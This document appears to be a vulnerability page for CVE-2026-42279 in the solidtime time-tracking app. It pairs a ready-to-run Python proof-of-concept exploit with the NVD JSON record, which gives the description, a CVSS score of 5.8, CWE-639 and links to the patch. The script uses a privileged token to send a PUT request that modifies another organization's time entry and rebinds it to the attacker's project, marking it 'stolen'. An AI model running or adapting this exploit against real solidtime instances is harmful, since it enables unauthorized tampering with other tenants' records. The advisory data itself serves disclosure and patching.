CVE-2026-42279

import requests # Configuration TARGET_URL = "https://target-solidtime-instance.com" ATTACKER_ORG_ID = "org-attacker-uuid" ATTACKER_TOKEN = "attacker-api-token-with-high-privileges" VICTIM_TIME_ENTRY_ID = "time-entry-victim-uuid" # Known UUID from another org ATTACKER_PROJECT_ID = "project-attacker-uuid" # Exploit: Modify victim's time entry to bind to attacker's project url = f"{TARGET_URL}/api/v1/organizations/{ATTACKER_ORG_ID}/time-entries/{VICTIM_TIME_ENTRY_ID}" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json", "Accept": "application/json" } # Payload to rebind the foreign time entry payload = { "project_id": ATTACKER_PROJECT_ID, "description": "This entry has been stolen and modified." } response = requests.put(url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Time entry modified.") print(f"[+] Response: {response.json()}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}")

{"cve": {"id": "CVE-2026-42279", "sourceIdentifier": "[email protected]", "published": "2026-05-08T05:16:11.063", "lastModified": "2026-05-08T19:44:22.563", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "solidtime is an open-source time-tracking app. In version 0.12.0, the PUT /api/v1/organizations/{organization}/time-entries/{timeEntry} API accepts a route-bound timeEntry from another organization when the caller has time-entries:update:all in the URL organization, allowing a known foreign time-entry UUID to be modified and rebound to objects in the caller's organization. This issue has been patched in version 0.12.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:solidtime:solidtime:0.12.0:*:*:*:*:*:*:*", "matchCriteriaId": "39FAC404-ED2B-4353-B390-DFFAEF7AD3C4"}]}]}], "references": [{"url": "https://github.com/solidtime-io/solidtime/commit/b73aa543fdf5b61c37447307ab7277451296832c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/solidtime-io/solidtime/releases/tag/v0.12.1", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/solidtime-io/solidtime/security/advisories/GHSA-pmf9-pxq9-ccwr", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/solidtime-io/solidtime/security/advisories/GHSA-pmf9-pxq9-ccwr", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}